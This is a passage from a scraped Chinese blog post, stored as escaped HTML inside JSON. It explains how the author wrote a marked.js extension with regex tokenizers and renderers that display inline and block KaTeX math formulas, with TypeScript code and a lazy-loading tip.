target=\"_blank\" rel=\"noopener noreffer \"\u003e方式\u003c/a\u003e,但是有关集成数学公式渲染的我只搜到了几个issue和一些奇怪的实现:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/markedjs/marked/issues/722\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehttps://github.com/markedjs/marked/issues/722\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/linxiaowu66/marked-kaTex\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehttps://github.com/linxiaowu66/marked-kaTex\u003c/a\u003e (甚至是直接fork了改的,项目也过期很久了)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gist.github.com/tajpure/47c65cf72c44cb16f3a5df0ebc045f2f\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehttps://gist.github.com/tajpure/47c65cf72c44cb16f3a5df0ebc045f2f\u003c/a\u003e (拦截render实现,并提前渲染,会出一些奇怪的问题)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.xiaog.info/blog/post/marked_js_katex\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehttps://www.xiaog.info/blog/post/marked_js_katex\u003c/a\u003e (上面那个的中文版,似乎做了一点改进,但还是很奇怪)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e看了后两个现有方案,基本上是用正则表达式给数学公式提取出来,然后塞到 katex 里一顿处理成 html,然后塞回 marked 当成 html 块无脑再渲染一遍。我试了试是能用的,但是行为很奇怪,marked 在处理已经渲染好的 html 块时还会做一些额外的工作,例如转义什么的,最后某些字符总是显示的有问题。\u003c/p\u003e\n\u003cp\u003e还是看看远处的插件文档,自己写一个插件吧。\u003c/p\u003e\n\u003ch2 id=\"marked-js-插件实现\"\u003eMarked JS 插件实现\u003c/h2\u003e\n\u003cp\u003e我打算集成 Katex 而不是 MathJax。因为网站本身不是为了专业的 Markdown 渲染开发的,支持数学公式只是为了让文章阅读更加方便。MathJax 支持很多高级特性,还支持渲染到不同的格式,似乎功能有些冗余,Katex 足够轻量,看起来完全符合我的需求。\u003c/p\u003e\n\u003ch3 id=\"marked-工作机制\"\u003eMarked 工作机制\u003c/h3\u003e\n\u003cp\u003e在写插件之前,要先了解一下 \u003ca href=\"https://marked.js.org/using_pro\" target=\"_blank\" rel=\"noopener noreffer \"\u003emarked 的工作机制\u003c/a\u003e。marked 的渲染流程如下:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e用户输入 markdown 格式的纯文本内容;\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003elexer\u003c/code\u003e 会把输入的一些片段依次发送给不同的 \u003ccode\u003etokenizer\u003c/code\u003e,并从这些 \u003ccode\u003etokenizer\u003c/code\u003e 中生成一系列的 \u003ccode\u003etoken\u003c/code\u003e,储存到一个嵌套的树结构中;\u003c/li\u003e\n\u003cli\u003e每个 \u003ccode\u003etokenizer\u003c/code\u003e 接收到文本片段后,便会进行判断这个片段是否匹配某个标记格式,如果匹配的话,便会生成一个包含相关信息的 \u003ccode\u003etoken\u003c/code\u003e,如果没有匹配的片段,就返回一个空值;\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ewalkTokens\u003c/code\u003e 函数会遍历所有的 \u003ccode\u003etoken\u003c/code\u003e,然后将这些 \u003ccode\u003etoken\u003c/code\u003e 送入对应的 \u003ccode\u003erenderer\u003c/code\u003e 中进行渲染,并把渲染的结果拼接成最终的 HTML;\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在了解这些之后,应该可以发现,只要实现一个能够提取数学公式块的 \u003ccode\u003etokenizer\u003c/code\u003e 和一个能够渲染的 \u003ccode\u003erenderer\u003c/code\u003e,并整合进 marked 的工作流程中,就能够实现数学公式的渲染了。\u003c/p\u003e\n\u003ch3 id=\"相关-api\"\u003e相关 API\u003c/h3\u003e\n\u003cp\u003emarked 提供了\u003ca href=\"https://marked.js.org/using_pro#extensions\" target=\"_blank\" rel=\"noopener noreffer \"\u003e相关的 API\u003c/a\u003e,这里就不当翻译官了。\u003c/p\u003e\n\u003ch3 id=\"实现-tokenizer\"\u003e实现 \u003ccode\u003etokenizer\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003etokenizer\u003c/code\u003e 需要两个,一个用来解决 \u003ccode\u003e$f(x)=x+y$\u003c/code\u003e 这样的行内公式,一类用来对付\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-markdown\" data-lang=\"markdown\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$$\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ef(x) = \\frac{1}{x}\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$$\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这类的行间公式。匹配这些我们只需要两个正则表达式就可以了,一个匹配单个 \u003ccode\u003e$\u003c/code\u003e,一个匹配 \u003ccode\u003e$$\u003c/code\u003e。\u003c/p\u003e\n\u003ch3 id=\"实现-render\"\u003e实现 \u003ccode\u003erender\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e直接一把梭 \u003ccode\u003ekatex.renderToString(token.text, options)\u003c/code\u003e\u003c/p\u003e\n\u003ch2 id=\"代码片段\"\u003e代码片段\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"kr\"\u003etype\u003c/span\u003e \u003cspan class=\"nx\"\u003eKatexOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;katex\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;katex/dist/katex.css\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;marked\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e: \u003cspan class=\"kt\"\u003eKatexOptions\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{})\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eMarkedExtension\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eextensions\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003einlineKatex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eblockKatex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003einlineKatex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e: \u003cspan class=\"kt\"\u003eKatexOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eTokenizerAndRendererExtension\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;inlineKatex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003elevel\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;inline\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esrc\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003esrc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eindexOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etokenizer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esrc\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003e_tokens\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ematch\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003esrc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sr\"\u003e/^\\$+([^$\\n]+?)\\$+/\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;inlineKatex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eraw\u003c/span\u003e: \u003cspan class=\"kt\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etext\u003c/span\u003e: \u003cspan class=\"kt\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"nx\"\u003etrim\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003erenderer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etoken\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erenderToString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etoken\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eblockKatex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e: \u003cspan class=\"kt\"\u003eKatexOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eTokenizerAndRendererExtension\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;blockKatex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003elevel\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;block\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esrc\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003esrc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eindexOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$$\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etokenizer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esrc\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003e_tokens\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ematch\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003esrc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sr\"\u003e/^\\$\\$+\\n([^$]+?)\\n\\$\\$/\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;blockKatex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eraw\u003c/span\u003e: \u003cspan class=\"kt\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etext\u003c/span\u003e: \u003cspan class=\"kt\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"nx\"\u003etrim\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003erenderer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etoken\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edisplayMode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u0026lt;p\u0026gt;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erenderToString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etoken\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026lt;/p\u0026gt;`\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e保存到 \u003ccode\u003ekatex_extension.ts\u003c/code\u003e 中,使用时只需要导入后 \u003ccode\u003emarked.use(KatexExtension({}))\u003c/code\u003e 即可,参数中接收的是 Katex 的设置项。\u003c/p\u003e\n\u003cp\u003e如果需要 lazy load,也可以\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003eawait\u003c/span\u003e \u003cspan class=\"kr\"\u003eimport\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@/path/to/katex_extension.ts\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003euse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"nx\"\u003estrict\u003c/span\u003e: \u003cspan class=\"kt\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e}))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我先使用不带任何插件的 marked 将基础内容渲染出来,然后再加载katex与highlightJS重新渲染一遍,在某些网速不佳的环境下能提供更好的用户体验。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/marked_with_katex/"},{"title":"2022 